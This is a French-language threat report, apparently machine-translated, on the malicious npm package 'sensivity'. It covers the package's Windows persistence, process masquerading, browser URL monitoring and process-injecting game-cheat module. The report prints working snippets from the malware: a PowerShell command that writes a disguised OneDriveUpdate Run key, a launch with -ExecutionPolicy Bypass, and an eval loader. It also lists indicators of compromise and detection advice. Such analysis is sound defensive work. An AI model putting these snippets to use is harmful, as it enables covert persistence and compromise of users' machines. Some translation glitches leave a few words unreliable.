TL; DR
Le package npm sensibilité Il se présente comme un « panneau de contrôle de sensibilité ». Sous Windows, il fonctionne comme un outil de télécommande et de surveillance.
Son point d'entrée, launcher.js, renomme son propre processus en Runtime Broker, écrit une valeur de clé d'exécution de démarrage automatique nommée OneDriveUpdate qui relance le package via un script VBScript caché, lance PowerShell avec -ExecutionPolicy Bypass, puis évalue une charge utile serveur obscurcie de 171 Ko parallèlement à un module natif de 6.87 Mo, sens.node.
Il sert de panneau de contrôle de jumelage de téléphone sur le port TCP 3000 et lit l'URL de la barre d'adresse du navigateur actif via Windows UIAutomation, à la recherche d'une vidéo YouTube codée en dur.
Deux éléments qui restaient auparavant des zones d'ombre sont désormais résolus. Le serveur obscurci, server.obf.js, utilise un schéma de tableau de chaînes RC4 d'obfuscator.io ; la réimplémentation hors ligne de son décodeur (sans exécution de JavaScript) permet de récupérer un seul point de terminaison externe — https://izopi.com/check.php — ainsi qu'une clé publique RSA intégrée utilisée pour vérifier les réponses de licence signées.
Le module natif, sens.node, n'est pas empaqueté : sa table d'importation et ses chaînes intégrées l'identifient comme une superposition de jeu DirectX 11 / Dear ImGui fournissant des fonctionnalités aimbot, ESP (wall-hack) et triggerbot, pilotées par injection de processus à distance et lectures/écritures de mémoire.
Les chaînes de caractères qu'il contient font référence à des véhicules et à des emplacements sur la carte, conformément à GTA V / FiveM. Le package npm sert d'interface pour la distribution et la persistance de ce module natif.
L'élément déterminant est opérationnel, et non technique : un seul éditeur anonyme a diffusé environ soixante-dix versions d'un même paquetage. 2.5.0 par 2.5.69 — sur plusieurs jours, chacun utilisant le même lanceur.
Il n'y a pas d'installation hooksLa charge utile ne s'exécute que lorsque le paquet est démarré.
L'attaque : comment elle fonctionne
Sensivity est distribué avec dix fichiers. Le fichier package.json est minimaliste : aucun champ « repository », aucune licence, un alias principal et deux alias « bin » (sensivity, sens) pointant tous vers launcher.js, ainsi qu’un script de démarrage « node launcher.js ». Il n’y a ni post-installation ni pré-installation. Rien ne se déclenche lors de l’exécution de npm install. Le comportement décrit ci-dessous s’exécute lorsqu’un utilisateur lance le package, que ce soit via le shim « bin », le script de démarrage ou un require.
L'archive tar contient le lanceur, un serveur obfusqué, le module natif, un script Visual Basic et un répertoire public/web pour le panneau de contrôle. launcher.js est l'orchestrateur lisible ; la logique d'exécution se trouve dans les deux fichiers qu'il charge : un serveur obfusqué et un module natif compilé, tous deux détaillés ci-dessous.
Manipulation de processus et faux programme de mise à jour OneDrive
Au début de son exécution, launcher.js définit deux fois son propre nom de processus :
javascript process.title = 'Runtime Broker'; Runtime Broker est un processus Windows légitime (RuntimeBroker.exe) qui gère les autorisations des applications. Renommer un processus Node pour qu'il corresponde à ce nom permet de ne rien remarquer d'anormal dans le Gestionnaire des tâches.
La persistance est implémentée via PowerShell plutôt que via une API de registre directe :
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); La valeur de démarrage automatique est nommée OneDriveUpdate et ne pointe pas directement vers le package. Elle pointe vers wscript.exe qui exécute le script intégré OneDrive.Standalone.Updater.vbs. Ce script relance node launcher.js dans une fenêtre masquée. Le nom de la touche d'exécution et le nom du fichier VBScript reprennent la marque Microsoft, ce qui permet à l'entrée de démarrage automatique d'apparaître comme une tâche OneDrive classique.
PowerShell avec contournement de la stratégie d'exécution
Le lanceur exécute PowerShell de manière répétée. Le point d'entrée que les scanners signalent comme critique est le lancement d'un fichier .ps1 généré avec la stratégie d'exécution désactivée :
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); La fonction ExecutionPolicy Bypass supprime la vérification de signature locale du script pour cet appel. Les scripts générés prennent en charge la surveillance du navigateur et la détection de la fenêtre, comme décrit dans la section suivante.
Le serveur obfusqué et le module natif
Une fois la configuration terminée, launcher.js charge et exécute sa véritable charge utile :
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js pèse 171 Ko et utilise l'obfuscation _0x-array — un procédé JavaScript où chaque chaîne de caractères et identifiant est remplacé par un index dans un tableau aléatoire, puis déréférencé à l'exécution. Le schéma est la variante RC4 produite par obfuscator.io : une fonction de décodage unique décode une entrée du tableau en base64, puis la déchiffre en RC4 avec une clé spécifique à chaque appel. Réimplémenter ce décodeur dans un script séparé — en exécutant uniquement cette réimplémentation sur le tableau de 821 chaînes extrait, jamais sur le JavaScript du package — permet un décryptage propre. Ce qui apparaît est modeste, mais…cisive : une URL externe, https://izopi.com/check.php, associée à une constante LICENSE_URL ; une clé publique RSA intégrée (PEM) ; les routes du panneau local /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off et /trigger/status ; et les chaînes de caractères child_process, crypto et [Sensivity] sens.node loaded — cette dernière correspondant à la ligne de journal exacte que le lanceur réécrit en module de programme chargé. Le point de terminaison est une vérification de licence : le client envoie un identifiant (le serveur obfusqué formate une chaîne « ID Discord : %s ») et la clé RSA vérifie la réponse signée du serveur.
sens.node est un module complémentaire natif compilé de 6.87 Mo, non compressé — l'entropie de section se situe entre 5.6 et 6.6 et les tables d'import/export PE sont intactes, ce qui permet de lire directement ses fonctionnalités. Il exporte napi_register_module_v1. standard Point d'entrée de l'API N de Node, il est chargé par le serveur évalué via une simple requête `require`. Sa table d'importation est révélatrice. De KERNEL32, il extrait OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules et Process32First/NextW — l'ensemble canonique permettant de localiser un autre processus, d'allouer de la mémoire en son sein et de lire ou d'écrire dans cette mémoire. De USER32, il extrait GetAsyncKeyState, GetKeyState, mouse_event et SetCursorPos ; il lie d3d11.dll, D3DCOMPILER_43 et dwmapi pour une superposition à l'écran, ainsi que l'ensemble complet WINHTTP pour les appels réseau. Les chaînes de caractères intégrées décrivent clairement les fonctionnalités : Aimbot activé, Champ de vision de l’Aimbot, ESP de la boîte, ESP du squelette, Triggerbot, Créateur d’ESP, ESP des véhicules, Anti-triche Electron détecté, et la bannière « Dear ImGui 1.91.3 WIP ». Les chaînes de caractères relatives aux lieux et aux entités, comme la clinique médicale Grapeseed et le vocabulaire de l’ESP des véhicules, sont conformes à GTA V / FiveM.
Cette séparation est délibérée : le fichier launcher.js lisible ne contient que les éléments facilement détectables par un scanner (persistance, masquage, appel eval lui-même), tandis que l’obfuscation masque l’unique hôte externe contacté par l’environnement d’exécution. Le binaire, quant à lui, renferme la logique de superposition du jeu et d’injection de processus. Le lanceur constitue l’interface minimale et auditable ; le serveur obfusqué masque l’identité réseau ; le module natif représente la charge utile. Nous indiquons que les importations et les chaînes de caractères du binaire sont lues ; nous n’en déduisons pas la finalité de l’opérateur.
Un panneau de commande pour l'appairage des téléphones sur le port 3000
Le lanceur gère un serveur web local sur le port TCP 3000 et le traite comme un singleton. Il vérifie l'existence d'un écouteur et le supprime avant la liaison.
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Le panneau est accessible à l'adresse http://localhost:3000, avec une URL de secours pour le réseau local (LAN) codée en dur : http://192.168.1.16:3000. Le répertoire public/ et le comportement du panneau correspondent à un processus d'appairage par QR code : un téléphone scanne un code et se connecte à l'hôte en tant que périphérique distant. Aucun domaine de commande et de contrôle externe n'apparaît en clair dans le lanceur, mais, comme le montre la désobfuscation ci-dessus, un tel domaine est présent sur le serveur obfusqué : le point de terminaison de licence izopi.com. Le panneau lui-même est local et limité au réseau local ; le seul serveur sortant est celui qui effectue la vérification de la licence.
Un modèle superviseur/travailleur détaché assure la continuité du processus. Le lanceur se relance automatiquement avec les indicateurs d'environnement SENSIVITY_SUPERVISOR et SENSIVITY_WORKER, chaque processus enfant s'exécutant en arrière-plan. Ainsi, l'arrêt d'un processus laisse un processus de surveillance prêt à le redémarrer.
Surveillance du navigateur et signal YouTube
Le comportement le plus spécifique est la surveillance du navigateur. launcher.js génère un script PowerShell qui pilote Windows UIAutomation pour lire la barre d'adresse d'un navigateur en cours d'exécution :
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', La méthode ValuePattern renvoie le contenu textuel d'un élément d'interface utilisateur. Appliquée au champ de saisie de l'adresse d'un navigateur, elle renvoie l'URL actuellement affichée par la victime, sans extension de navigateur, sans modifier le profil utilisateur sur le disque et sans utiliser d'API. Le script généré parcourt une liste `$browserNames` et extrait l'URL ou le titre de la fenêtre du navigateur actif.
Cette URL est testée par rapport à une seule cible codée en dur :
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Le lanceur interroge en boucle (toutes les trois secondes) une fenêtre de navigateur affichant YouTube. Le script PowerShell généré contient une paire Get-YouTubeBrowser / Test-TargetYouTubeUrl qui correspond à l'identifiant de la vidéo. L'effet observé est double : l'URL de navigation active est lue sur l'écran de la victime, et l'interaction de l'hôte avec une vidéo YouTube spécifique est détectée. Nous décrivons le mécanisme et la cible, sans en déduire de mobile.
La lecture de la barre d'adresse correspond à ce que le scanner identifie comme sensitive_data_enumeration : une source Process::env et UIAutomation alimentant un environnement d'exécution accessible via le réseau. Elle semble anodine prise isolément et n'est considérée comme une activité de surveillance qu'une fois le cycle de vie des données retracé depuis la source UIAutomation jusqu'au serveur obfusqué.
Chronologie et évolution des versions
La sensibilité n'est pas un téléchargement unique. Le compte de l'éditeur compte environ soixante-dix versions publiées de ce package unique, et de nouvelles ont continué d'être ajoutées pendant la période de révision. Le lanceur s'enrichit progressivement de nouvelles fonctionnalités au fil des versions 2.5.x, tandis que sa persistance et le chargement des payloads restent inchangés.
| Date (UTC) | Versions observées | État du lanceur |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Lanceur de panneau QR de base ; persistance de la clé d'exécution ; évaluation du serveur obfusqué. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | Même empreinte digitale ; suppression des traces de la console. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Ajoute une cible d'engagement YouTube épinglée wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Réédition comblant les lacunes dans l'ensemble du secteur ; organisme de surveillance superviseur/travailleur. |
L'analyse du lanceur dans les versions téléchargées (2.5.0, 2.5.36 et 2.5.69) révèle quatre niveaux. Les premières versions contiennent le lanceur de base avec appariement QR. À partir de la version 2.5.33, le module de collecte de données de la barre d'adresse UIAutomation apparaît. À partir de la version 2.5.58, une couche de gestion est ajoutée. Enfin, à partir de la version 2.5.64, le système de surveillance (superviseur/travailleur détaché) complète l'ensemble. Quatre éléments restent inchangés : la clé d'exécution OneDriveUpdate, le programme d'installation OneDrive.Standalone.Updater.vbs, le fichier server.obf.js évalué et le module natif sens.node.
La mise à jour du 5 juin 2026 est notable car elle a republié les numéros de version les plus bas (de 2.5.0 à 2.5.15), antérieurs aux versions confirmées quelques jours auparavant. Il en résulte une lignée continue de versions 2.5.x dans le registre, chaque version utilisant le même lanceur.
Indicateurs de compromis
Tous les indicateurs ci-dessous ont été lus directement à partir de l'archive tar du paquet. Le lanceur lisible ne contient qu'une adresse de bouclage et une seule adresse LAN privée ; le nom d'hôte externe, izopi.com, a été récupéré en désobfusquant le fichier server.obf.js hors ligne.
| Type | Indicateur | Remarques |
|---|---|---|
| Forfait | npm:sensivity (≈70 versions, 2.5.0-2.5.69) | Éditeur à paquet unique ; pas de dépôt ; sans licence. |
| Fichier | launcher.js | Orchestrateur lisible ; cible principale et cible de stockage. |
| Fichier | server.obf.js (≈171 Ko) | obfuscator.io RC4 string-array payload, loaded via eval(fs.readFileSync(...)). |
| Fichier | sens.node (≈6.87 Mo) | Module complémentaire PE32+ x86-64 Node N-API ; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| Fichier | OneDrive.Standalone.Updater.vbs | Relanceur caché (node launcher.js). |
| Réseau | https://izopi.com/check.php | Point de terminaison de licence/authentification récupéré à partir du serveur obfusqué ; la clé publique RSA intégrée vérifie les réponses. |
| Capability | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | Injection de processus à distance et capacité de lecture/écriture en mémoire. |
| Capability | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Superposition de jeu DirectX 11 / ImGui implémentant les fonctionnalités aimbot, ESP et triggerbot. |
| Registres | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Valeur de démarrage automatique pointant vers wscript.exe et le lanceur VBScript. |
| Processus | process.title = 'Runtime Broker' | Se fait passer pour le processus légitime Windows Runtime Broker. |
| Comportementale | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Contournement de la stratégie d'exécution utilisé pour les scripts PowerShell générés. |
| Comportementale | UIAutomation ValuePattern lire la barre d'adresse du navigateur | Lit l'URL de la fenêtre du navigateur au premier plan. |
| Comportementale | ID vidéo cible wJWta2lO0LwSondage YouTube de 3 secondes | Signal de surveillance de l'engagement épinglé. |
| Réseau | http://localhost:3000, retomber http://192.168.1.16:3000 | Panneau de contrôle d'appairage QR accessible localement et sur le réseau local. |
| Environnement | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Indicateurs de coordination du processus de surveillance détachée. |
Attribution, impact et défenseurs
Le paquet est publié par un unique compte npm dont l'adresse e-mail déclarée est une adresse Gmail non vérifiée. Ce compte présente une réputation très négative auprès des registres, ne maintient et ne publie que ce paquet, et n'est associé à aucun dépôt source. Nous n'avons pas vérifié la propriété de l'adresse e-mail et nous attribuons la campagne au compte de l'éditeur, et non à une personne physique identifiée. Le lanceur ne contient aucune infrastructure en clair, mais l'unique hôte externe est désormais connu : le serveur obfusqué contacte izopi.com pour une vérification de licence, et le module natif — lu à partir de sa table d'importation et de ses chaînes de caractères plutôt qu'instruction par instruction — est une surcouche de jeu qui s'injecte dans la mémoire d'un autre processus et la lit.
L'impact observable concerne les utilisateurs Windows qui installent et exécutent Sensivity en s'attendant à un utilitaire de panneau de configuration. Sur ces systèmes, le paquet s'installe automatiquement et persiste en se faisant passer pour une tâche OneDrive, se renomme pour imiter un processus système, lit l'URL de la page consultée par l'utilisateur et lance une fenêtre de connexion reliant la machine à un serveur distant via le réseau local. Le mécanisme de surveillance (superviseur/esclave) empêche la suppression du paquet par l'arrêt brutal du processus ; l'entrée « Exécuter » est conservée après un redémarrage. macOS et Linux ne sont pas ciblés par le lanceur : les mécanismes de persistance, PowerShell et UIAutomation sont réservés à Windows.
Le phénomène de soixante-dix versions successives est préoccupant. Republier un même paquet des dizaines de fois en quelques jours, y compris en réintégrant les versions antérieures à celles déjà supprimées, maintient une copie active dans le registre entre les suppressions et perturbe les listes de blocage basées sur les versions. Une entrée de blocage pour la version 2.5.61 de Sensivity est sans effet sur Sensivity 2.5.3 republiée le lendemain.
Les défenseurs peuvent agir sur les points suivants :
- Bloquez complètement la sensibilité du nom du paquet dans registry-proxy et les listes d'autorisation CI. Épingler les versions individuelles est incompatible avec la cadence de republication ; le nom est l'indicateur permanent.
- Recherchez une valeur d'exécution nommée OneDriveUpdate dont les données appellent wscript.exe sur un fichier .vbs dans un chemin d'accès spécifique à l'utilisateur. Le véritable programme de mise à jour OneDrive n'est pas enregistré de cette manière.
- Alerte concernant un processus Node.js dont le titre est « Runtime Broker ». Le véritable broker est RuntimeBroker.exe, et non l'environnement d'exécution Node.
- Lors de l'installation de paquets via npm, il est possible de détecter la présence d'un module complémentaire .node compilé et d'une évaluation (fs.readFileSync(…)) d'un fichier .obf.js associé. Cette association — un binaire natif opaque chargé à côté d'une charge utile textuelle obfusquée — constitue l'indice structurel, indépendamment de tout mécanisme d'injection de dépendances (IOC) de type chaîne de caractères.
- Sur les points de terminaison Windows gérés, considérez comme suspect tout écouteur local sur le port 3000 lancé par un processus Node inattendu.
- Bloquez ou signalez les requêtes sortantes vers izopi.com provenant des hôtes développeurs ou utilisateurs finaux ; il s'agit du seul point de terminaison externe du package, accessible via /check.php depuis le serveur obfusqué.
- Pour tout module complémentaire .node intégré, vérifiez sa table d'importation avant de lui faire confiance. La combinaison OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread constitue une injection de processus à distance, indépendamment des affirmations du package ; ici, elle côtoie une superposition Direct3D et des chaînes de caractères pour aimbot/ESP/triggerbot.
Pour l'analyse statique pipelineAinsi, la configuration reste stable malgré les changements de version : un profil d’installation hors réseau, l’attribution d’un nom de processus à un nom de processus système connu, l’exécution d’une commande PowerShell et l’évaluation d’un fichier lu sur le disque. Aucun de ces éléments ne dépend d’un domaine, d’une adresse IP ou d’un numéro de version susceptible d’être remplacé lors de la prochaine republication.
Références
[npm : sensibilité] – page d'enregistrement pour la version du paquet mentionnée ici ; susceptible d'être retirée.






